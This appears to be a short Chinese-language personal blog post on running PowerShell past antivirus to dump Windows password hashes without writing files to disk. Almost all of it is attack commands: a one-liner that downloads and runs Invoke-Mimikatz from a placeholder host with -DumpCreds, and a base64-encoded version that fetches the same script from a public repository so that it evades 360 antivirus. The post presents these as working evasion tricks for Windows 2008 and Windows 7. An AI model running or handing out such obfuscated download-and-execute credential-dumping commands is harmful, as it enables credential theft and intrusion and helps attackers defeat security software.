裤衩哥的小屋

# 绕过杀毒执行ps-实现无文件落地导hash

网络安全,权限维持 Tags: 无标签 阅读: 35

绕过杀毒执行ps-实现无文件落地导hash

直接执行。三款国内杀毒只有360拦截了执行。
powershell "IEX (New-Object Net.WebClient).DownloadString(‘http://xxxx.xx/Invoke-Mimikatz.ps1’); Invoke-Mimikatz -DumpCreds"
QQ20190330-235519@2x.png
Base64编码后执行
$text = 'Hello World!'

替换Hello World!

powershell.exe -eNco SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6ACAALQBEAHUAbQBwAEMAcgBlAGQAcwA=

替换后执行。
QQ20190331-131609@2x.png
绕过并导出了hash。这个办法在2008、win7上遇到装有360等国内杀毒的时候可以尝试下

发表评论